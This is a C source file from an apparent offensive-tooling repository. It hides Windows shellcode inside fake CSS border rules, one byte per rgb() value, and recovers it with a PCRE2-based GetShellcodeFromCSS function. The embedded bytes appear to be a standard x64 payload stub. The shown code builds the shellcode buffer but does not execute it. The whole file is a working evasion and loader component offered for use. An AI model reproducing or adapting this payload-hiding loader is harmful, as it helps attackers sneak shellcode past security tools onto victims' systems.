Files
Michael Ranaldo 801dc89466 Added in XOR
2021-11-22 23:36:04 +00:00

514 lines
19 KiB
C

#define PCRE2_CODE_UNIT_WIDTH 8
#define PCRE2_STATIC
#include <pcre2.h>
#include <stdio.h>
#include <string.h>
#include <windows.h>
const char* payload[] = {
":root {{",
"}}",
".AEAXVTK0QXP4 div p {",
" border: 2px 2px solid rgb(252, 118, 156);",
" border: 2px 2px solid rgb(72, 140, 112);",
" border: 2px 2px solid rgb(131, 97, 11);",
" border: 2px 2px solid rgb(228, 181, 89);",
" border: 2px 2px solid rgb(240, 116, 126);",
" border: 2px 2px solid rgb(232, 233, 58);",
" border: 2px 2px solid rgb(192, 63, 78);",
" border: 2px 2px solid rgb(0, 232, 244);",
" border: 2px 2px solid rgb(0, 62, 200);",
" border: 2px 2px solid rgb(0, 146, 254);",
" border: 2px 2px solid rgb(65, 230, 26);",
" border: 2px 2px solid rgb(81, 166, 89);",
" border: 2px 2px solid rgb(65, 12, 134);",
" border: 2px 2px solid rgb(80, 121, 11);",
" border: 2px 2px solid rgb(82, 131, 50);",
" border: 2px 2px solid rgb(81, 233, 99);",
"}",
".PLTD4LL6MRXN div p {",
" border: 2px 2px solid rgb(86, 39, 160);",
" border: 2px 2px solid rgb(72, 3, 178);",
" border: 2px 2px solid rgb(49, 103, 25);",
" border: 2px 2px solid rgb(210, 180, 57);",
" border: 2px 2px solid rgb(101, 160, 125);",
" border: 2px 2px solid rgb(72, 71, 113);",
" border: 2px 2px solid rgb(139, 215, 188);",
" border: 2px 2px solid rgb(82, 248, 33);",
" border: 2px 2px solid rgb(96, 53, 33);",
" border: 2px 2px solid rgb(72, 235, 213);",
" border: 2px 2px solid rgb(139, 161, 198);",
" border: 2px 2px solid rgb(82, 99, 166);",
" border: 2px 2px solid rgb(24, 157, 101);",
" border: 2px 2px solid rgb(72, 143, 88);",
" border: 2px 2px solid rgb(139, 167, 231);",
" border: 2px 2px solid rgb(82, 229, 89);",
"}",
".EXK2K61ZXZHZ div p {",
" border: 2px 2px solid rgb(32, 184, 64);",
" border: 2px 2px solid rgb(72, 161, 94);",
" border: 2px 2px solid rgb(139, 92, 227);",
" border: 2px 2px solid rgb(114, 141, 207);",
" border: 2px 2px solid rgb(80, 192, 182);",
" border: 2px 2px solid rgb(72, 251, 107);",
" border: 2px 2px solid rgb(15, 152, 8);",
" border: 2px 2px solid rgb(183, 213, 190);",
" border: 2px 2px solid rgb(74, 220, 134);",
" border: 2px 2px solid rgb(74, 25, 116);",
" border: 2px 2px solid rgb(77, 105, 92);",
" border: 2px 2px solid rgb(49, 193, 244);",
" border: 2px 2px solid rgb(201, 151, 226);",
" border: 2px 2px solid rgb(72, 3, 39);",
" border: 2px 2px solid rgb(49, 237, 3);",
" border: 2px 2px solid rgb(192, 97, 23);",
"}",
".CRE33FUKKPZZ div p {",
" border: 2px 2px solid rgb(172, 60, 65);",
" border: 2px 2px solid rgb(60, 181, 128);",
" border: 2px 2px solid rgb(97, 148, 184);",
" border: 2px 2px solid rgb(124, 170, 36);",
" border: 2px 2px solid rgb(2, 198, 131);",
" border: 2px 2px solid rgb(44, 163, 55);",
" border: 2px 2px solid rgb(32, 230, 114);",
" border: 2px 2px solid rgb(65, 143, 231);",
" border: 2px 2px solid rgb(193, 34, 251);",
" border: 2px 2px solid rgb(201, 233, 66);",
" border: 2px 2px solid rgb(13, 236, 38);",
" border: 2px 2px solid rgb(65, 231, 84);",
" border: 2px 2px solid rgb(1, 170, 33);",
" border: 2px 2px solid rgb(193, 196, 33);",
" border: 2px 2px solid rgb(226, 212, 43);",
" border: 2px 2px solid rgb(237, 210, 26);",
"}",
".RV5F8OEOXYL7 div p {",
" border: 2px 2px solid rgb(82, 12, 3);",
" border: 2px 2px solid rgb(65, 68, 184);",
" border: 2px 2px solid rgb(81, 201, 182);",
" border: 2px 2px solid rgb(72, 214, 102);",
" border: 2px 2px solid rgb(139, 26, 110);",
" border: 2px 2px solid rgb(82, 186, 175);",
" border: 2px 2px solid rgb(32, 154, 225);",
" border: 2px 2px solid rgb(139, 50, 24);",
" border: 2px 2px solid rgb(66, 50, 103);",
" border: 2px 2px solid rgb(60, 234, 99);",
" border: 2px 2px solid rgb(72, 225, 232);",
" border: 2px 2px solid rgb(1, 135, 29);",
" border: 2px 2px solid rgb(208, 157, 7);",
" border: 2px 2px solid rgb(139, 3, 221);",
" border: 2px 2px solid rgb(128, 244, 218);",
" border: 2px 2px solid rgb(136, 229, 182);",
"}",
".BGWFHM2IFT60 div p {",
" border: 2px 2px solid rgb(0, 183, 214);",
" border: 2px 2px solid rgb(0, 77, 239);",
" border: 2px 2px solid rgb(0, 127, 221);",
" border: 2px 2px solid rgb(72, 32, 37);",
" border: 2px 2px solid rgb(133, 135, 200);",
" border: 2px 2px solid rgb(192, 6, 57);",
" border: 2px 2px solid rgb(116, 94, 45);",
" border: 2px 2px solid rgb(103, 127, 19);",
" border: 2px 2px solid rgb(72, 32, 2);",
" border: 2px 2px solid rgb(1, 17, 192);",
" border: 2px 2px solid rgb(208, 191, 233);",
" border: 2px 2px solid rgb(80, 242, 54);",
" border: 2px 2px solid rgb(139, 146, 213);",
" border: 2px 2px solid rgb(72, 189, 27);",
" border: 2px 2px solid rgb(24, 252, 162);",
" border: 2px 2px solid rgb(68, 23, 19);",
"}",
".B1RPRGXYV052 div p {",
" border: 2px 2px solid rgb(139, 4, 55);",
" border: 2px 2px solid rgb(64, 32, 24);",
" border: 2px 2px solid rgb(32, 154, 133);",
" border: 2px 2px solid rgb(73, 37, 111);",
" border: 2px 2px solid rgb(1, 42, 226);",
" border: 2px 2px solid rgb(208, 107, 86);",
" border: 2px 2px solid rgb(227, 184, 128);",
" border: 2px 2px solid rgb(86, 123, 2);",
" border: 2px 2px solid rgb(72, 211, 58);",
" border: 2px 2px solid rgb(255, 86, 86);",
" border: 2px 2px solid rgb(201, 19, 122);",
" border: 2px 2px solid rgb(65, 179, 214);",
" border: 2px 2px solid rgb(139, 219, 46);",
" border: 2px 2px solid rgb(52, 138, 26);",
" border: 2px 2px solid rgb(136, 76, 206);",
" border: 2px 2px solid rgb(72, 197, 179);",
"}",
".OCMZ82WF837N div p {",
" border: 2px 2px solid rgb(1, 230, 38);",
" border: 2px 2px solid rgb(214, 180, 48);",
" border: 2px 2px solid rgb(77, 224, 207);",
" border: 2px 2px solid rgb(49, 252, 228);",
" border: 2px 2px solid rgb(201, 167, 154);",
" border: 2px 2px solid rgb(72, 136, 25);",
" border: 2px 2px solid rgb(49, 175, 114);",
" border: 2px 2px solid rgb(192, 66, 145);",
" border: 2px 2px solid rgb(172, 90, 153);",
" border: 2px 2px solid rgb(65, 202, 127);",
" border: 2px 2px solid rgb(193, 210, 159);",
" border: 2px 2px solid rgb(201, 127, 212);",
" border: 2px 2px solid rgb(13, 30, 88);",
" border: 2px 2px solid rgb(65, 245, 151);",
" border: 2px 2px solid rgb(1, 166, 14);",
" border: 2px 2px solid rgb(193, 124, 60);",
"}",
".7MIH3HDUTIST div p {",
" border: 2px 2px solid rgb(56, 66, 24);",
" border: 2px 2px solid rgb(224, 111, 1);",
" border: 2px 2px solid rgb(117, 20, 34);",
" border: 2px 2px solid rgb(241, 221, 3);",
" border: 2px 2px solid rgb(76, 71, 228);",
" border: 2px 2px solid rgb(3, 206, 65);",
" border: 2px 2px solid rgb(76, 73, 1);",
" border: 2px 2px solid rgb(36, 63, 14);",
" border: 2px 2px solid rgb(8, 213, 204);",
" border: 2px 2px solid rgb(69, 229, 118);",
" border: 2px 2px solid rgb(57, 182, 211);",
" border: 2px 2px solid rgb(209, 81, 98);",
" border: 2px 2px solid rgb(117, 98, 26);",
" border: 2px 2px solid rgb(216, 6, 227);",
" border: 2px 2px solid rgb(88, 22, 173);",
" border: 2px 2px solid rgb(68, 27, 208);",
"}",
".5VXMP740X7M7 div p {",
" border: 2px 2px solid rgb(139, 164, 110);",
" border: 2px 2px solid rgb(64, 94, 221);",
" border: 2px 2px solid rgb(36, 89, 47);",
" border: 2px 2px solid rgb(73, 72, 206);",
" border: 2px 2px solid rgb(1, 203, 81);",
" border: 2px 2px solid rgb(208, 163, 104);",
" border: 2px 2px solid rgb(102, 212, 111);",
" border: 2px 2px solid rgb(65, 236, 21);",
" border: 2px 2px solid rgb(139, 83, 194);",
" border: 2px 2px solid rgb(12, 88, 133);",
" border: 2px 2px solid rgb(72, 101, 221);",
" border: 2px 2px solid rgb(68, 94, 238);",
" border: 2px 2px solid rgb(139, 74, 252);",
" border: 2px 2px solid rgb(64, 211, 183);",
" border: 2px 2px solid rgb(28, 146, 173);",
" border: 2px 2px solid rgb(73, 80, 173);",
"}",
".VAOVJQWV353K div p {",
" border: 2px 2px solid rgb(1, 56, 207);",
" border: 2px 2px solid rgb(208, 89, 119);",
" border: 2px 2px solid rgb(65, 72, 108);",
" border: 2px 2px solid rgb(139, 183, 205);",
" border: 2px 2px solid rgb(4, 84, 182);",
" border: 2px 2px solid rgb(136, 189, 45);",
" border: 2px 2px solid rgb(72, 174, 68);",
" border: 2px 2px solid rgb(1, 237, 140);",
" border: 2px 2px solid rgb(208, 7, 252);",
" border: 2px 2px solid rgb(65, 169, 200);",
" border: 2px 2px solid rgb(88, 121, 150);",
" border: 2px 2px solid rgb(65, 232, 247);",
" border: 2px 2px solid rgb(88, 170, 69);",
" border: 2px 2px solid rgb(94, 92, 17);",
" border: 2px 2px solid rgb(89, 243, 71);",
" border: 2px 2px solid rgb(90, 110, 121);",
"}",
".0UTR4F1SLMPR div p {",
" border: 2px 2px solid rgb(65, 145, 223);",
" border: 2px 2px solid rgb(88, 189, 101);",
" border: 2px 2px solid rgb(65, 142, 166);",
" border: 2px 2px solid rgb(89, 219, 84);",
" border: 2px 2px solid rgb(65, 218, 237);",
" border: 2px 2px solid rgb(90, 62, 219);",
" border: 2px 2px solid rgb(72, 230, 45);",
" border: 2px 2px solid rgb(131, 218, 92);",
" border: 2px 2px solid rgb(236, 247, 137);",
" border: 2px 2px solid rgb(32, 93, 212);",
" border: 2px 2px solid rgb(65, 64, 227);",
" border: 2px 2px solid rgb(82, 57, 42);",
" border: 2px 2px solid rgb(255, 186, 90);",
" border: 2px 2px solid rgb(224, 124, 139);",
" border: 2px 2px solid rgb(88, 104, 82);",
" border: 2px 2px solid rgb(65, 161, 119);",
"}",
".KOJ3W2NXS62Z div p {",
" border: 2px 2px solid rgb(89, 7, 127);",
" border: 2px 2px solid rgb(90, 43, 90);",
" border: 2px 2px solid rgb(72, 60, 145);",
" border: 2px 2px solid rgb(139, 103, 165);",
" border: 2px 2px solid rgb(18, 83, 118);",
" border: 2px 2px solid rgb(233, 21, 238);",
" border: 2px 2px solid rgb(87, 2, 132);",
" border: 2px 2px solid rgb(255, 2, 246);",
" border: 2px 2px solid rgb(255, 136, 96);",
" border: 2px 2px solid rgb(255, 224, 55);",
" border: 2px 2px solid rgb(93, 219, 7);",
" border: 2px 2px solid rgb(72, 149, 186);",
" border: 2px 2px solid rgb(186, 4, 226);",
" border: 2px 2px solid rgb(1, 17, 55);",
" border: 2px 2px solid rgb(0, 172, 105);",
" border: 2px 2px solid rgb(0, 76, 248);",
"}",
".IEHCRLMOIH7S div p {",
" border: 2px 2px solid rgb(0, 5, 102);",
" border: 2px 2px solid rgb(0, 153, 107);",
" border: 2px 2px solid rgb(0, 66, 25);",
" border: 2px 2px solid rgb(0, 192, 93);",
" border: 2px 2px solid rgb(0, 252, 222);",
" border: 2px 2px solid rgb(72, 67, 226);",
" border: 2px 2px solid rgb(141, 247, 231);",
" border: 2px 2px solid rgb(141, 62, 248);",
" border: 2px 2px solid rgb(1, 160, 113);",
" border: 2px 2px solid rgb(1, 108, 80);",
" border: 2px 2px solid rgb(0, 230, 253);",
" border: 2px 2px solid rgb(0, 251, 148);",
" border: 2px 2px solid rgb(65, 21, 47);",
" border: 2px 2px solid rgb(186, 202, 195);",
" border: 2px 2px solid rgb(49, 246, 211);",
" border: 2px 2px solid rgb(139, 64, 223);",
"}",
".YO4G7EYLC6JX div p {",
" border: 2px 2px solid rgb(111, 222, 217);",
" border: 2px 2px solid rgb(135, 102, 20);",
" border: 2px 2px solid rgb(255, 2, 230);",
" border: 2px 2px solid rgb(213, 69, 240);",
" border: 2px 2px solid rgb(187, 80, 119);",
" border: 2px 2px solid rgb(224, 169, 224);",
" border: 2px 2px solid rgb(29, 229, 231);",
" border: 2px 2px solid rgb(42, 29, 252);",
" border: 2px 2px solid rgb(10, 96, 157);",
" border: 2px 2px solid rgb(65, 216, 213);",
" border: 2px 2px solid rgb(186, 162, 190);",
" border: 2px 2px solid rgb(166, 191, 126);",
" border: 2px 2px solid rgb(149, 122, 199);",
" border: 2px 2px solid rgb(189, 94, 159);",
" border: 2px 2px solid rgb(157, 216, 32);",
" border: 2px 2px solid rgb(255, 3, 226);",
"}",
".XU32AP4O5KOJ div p {",
" border: 2px 2px solid rgb(213, 45, 84);",
" border: 2px 2px solid rgb(72, 224, 216);",
" border: 2px 2px solid rgb(131, 251, 78);",
" border: 2px 2px solid rgb(196, 212, 246);",
" border: 2px 2px solid rgb(40, 12, 71);",
" border: 2px 2px solid rgb(60, 110, 80);",
" border: 2px 2px solid rgb(6, 90, 99);",
" border: 2px 2px solid rgb(124, 95, 227);",
" border: 2px 2px solid rgb(10, 120, 229);",
" border: 2px 2px solid rgb(128, 184, 144);",
" border: 2px 2px solid rgb(251, 67, 250);",
" border: 2px 2px solid rgb(224, 209, 8);",
" border: 2px 2px solid rgb(117, 124, 167);",
" border: 2px 2px solid rgb(5, 251, 245);",
" border: 2px 2px solid rgb(187, 107, 190);",
" border: 2px 2px solid rgb(71, 145, 28);",
"}",
".MC4LGYLN0RYG div p {",
" border: 2px 2px solid rgb(19, 142, 254);",
" border: 2px 2px solid rgb(114, 207, 17);",
" border: 2px 2px solid rgb(111, 106, 61);",
" border: 2px 2px solid rgb(106, 73, 56);",
" border: 2px 2px solid rgb(0, 202, 75);",
" border: 2px 2px solid rgb(89, 77, 243);",
" border: 2px 2px solid rgb(65, 82, 161);",
" border: 2px 2px solid rgb(137, 87, 8);",
" border: 2px 2px solid rgb(218, 73, 123);",
" border: 2px 2px solid rgb(255, 196, 25);",
" border: 2px 2px solid rgb(213, 19, 216);",
" border: 2px 2px solid rgb(99, 56, 151);",
" border: 2px 2px solid rgb(97, 171, 113);",
" border: 2px 2px solid rgb(108, 74, 102);",
" border: 2px 2px solid rgb(99, 44, 204);",
" border: 2px 2px solid rgb(0, 13, 16);",
"}"
};
struct cssdata
{
unsigned char* shellcode;
int size;
};
char *strremove(char *str, const char *sub)
{
// https://stackoverflow.com/a/47117431
char *p, *q, *r;
if (*sub && (q = r = strstr(str, sub)) != NULL) {
size_t len = strlen(sub);
while ((r = strstr(p = r + len, sub)) != NULL) {
while (p < r)
*q++ = *p++;
}
while ((*q++ = *p++) != '\0')
continue;
}
return str;
}
struct cssdata * GetShellcodeFromCSS()
{
int sz = sizeof(payload) / sizeof(payload[0]);
int holder[sz];
int count = 0;
memset(holder, 0, sz);
char* temp = (char*)malloc(10);
memset(temp, '\0', 10);
for (int line = 0; line < sz; ++line)
{
pcre2_code *re;
PCRE2_SPTR pattern;
PCRE2_SPTR subject;
PCRE2_SPTR name_table;
int crlf_is_newline;
int errornumber;
int find_all;
int i;
int namecount;
int name_entry_size;
int rc;
int utf8;
uint32_t option_bits;
uint32_t newline;
PCRE2_SIZE erroroffset;
PCRE2_SIZE *ovector;
size_t subject_length;
pcre2_match_data *match_data;
find_all = 1;
pattern = (PCRE2_SPTR)"rgb\\((\\d{1,3}),";
subject = (PCRE2_SPTR)payload[line];
subject_length = strlen((char *)subject);
re = pcre2_compile(pattern, PCRE2_ZERO_TERMINATED, 0, &errornumber, &erroroffset, NULL);
if (re == NULL)
{
PCRE2_UCHAR buffer[256];
pcre2_get_error_message(errornumber, buffer, sizeof(buffer));
continue;
}
match_data = pcre2_match_data_create_from_pattern(re, NULL);
rc = pcre2_match(re, subject, subject_length, 0, 0, match_data, NULL);
if (rc < 0)
{
pcre2_match_data_free(match_data);
pcre2_code_free(re);
continue;
}
ovector = pcre2_get_ovector_pointer(match_data);
if (rc == 0)
{
continue;
}
for (i = 0; i < rc; i++)
{
PCRE2_SPTR substring_start = subject + ovector[2*i];
size_t substring_length = ovector[2*i+1] - ovector[2*i];
sprintf(temp, "%.*s", (int)substring_length, (char *)substring_start);
}
(void)pcre2_pattern_info(re, PCRE2_INFO_NAMECOUNT, &namecount);
if (namecount > 0)
{
PCRE2_SPTR tabptr;
(void)pcre2_pattern_info(re, PCRE2_INFO_NAMETABLE, &name_table);
(void)pcre2_pattern_info(re, PCRE2_INFO_NAMEENTRYSIZE, &name_entry_size);
tabptr = name_table;
for (i = 0; i < namecount; i++)
{
int n = (tabptr[0] << 8) | tabptr[1];
tabptr += name_entry_size;
}
}
(void)pcre2_pattern_info(re, PCRE2_INFO_ALLOPTIONS, &option_bits);
utf8 = (option_bits & PCRE2_UTF) != 0;
(void)pcre2_pattern_info(re, PCRE2_INFO_NEWLINE, &newline);
crlf_is_newline = newline == PCRE2_NEWLINE_ANY || newline == PCRE2_NEWLINE_CRLF || newline == PCRE2_NEWLINE_ANYCRLF;
for (;;)
{
uint32_t options = 0;
PCRE2_SIZE start_offset = ovector[1];
if (ovector[0] == ovector[1])
{
if (ovector[0] == subject_length)
{
break;
}
options = PCRE2_NOTEMPTY_ATSTART | PCRE2_ANCHORED;
}
rc = pcre2_match(re, subject, subject_length, start_offset, options, match_data, NULL);
if (rc == PCRE2_ERROR_NOMATCH)
{
if (options == 0) break;
ovector[1] = start_offset + 1;
if (crlf_is_newline && start_offset < subject_length - 1 && subject[start_offset] == '\r' && subject[start_offset + 1] == '\n')
ovector[1] += 1;
else if (utf8)
{
while (ovector[1] < subject_length)
{
if ((subject[ovector[1]] & 0xc0) != 0x80) break;
ovector[1] += 1;
}
}
continue;
}
if (rc < 0)
{
pcre2_match_data_free(match_data);
pcre2_code_free(re);
continue;
}
for (i = 0; i < rc; i++)
{
PCRE2_SPTR substring_start = subject + ovector[2*i];
size_t substring_length = ovector[2*i+1] - ovector[2*i];
//sprintf(temp, "%.*s", (int)substring_length, (char *)substring_start);
}
}
// remove the "rgb bit"
strremove(temp, "rgb(");
strremove(temp, ",");
int intVal = atoi(temp);
holder[count] = intVal;
pcre2_match_data_free(match_data);
pcre2_code_free(re);
memset(temp, '\0', strlen(temp));
count++;
}
free(temp);
unsigned char shellcode[count];
for (int i = 0; i < count; ++i)
{
shellcode[i] = (unsigned char)holder[i];
}
struct cssdata* d = malloc(sizeof(struct cssdata));
d->shellcode = malloc(count);
memcpy(d->shellcode, shellcode, count);
d->size = count;
return d;
}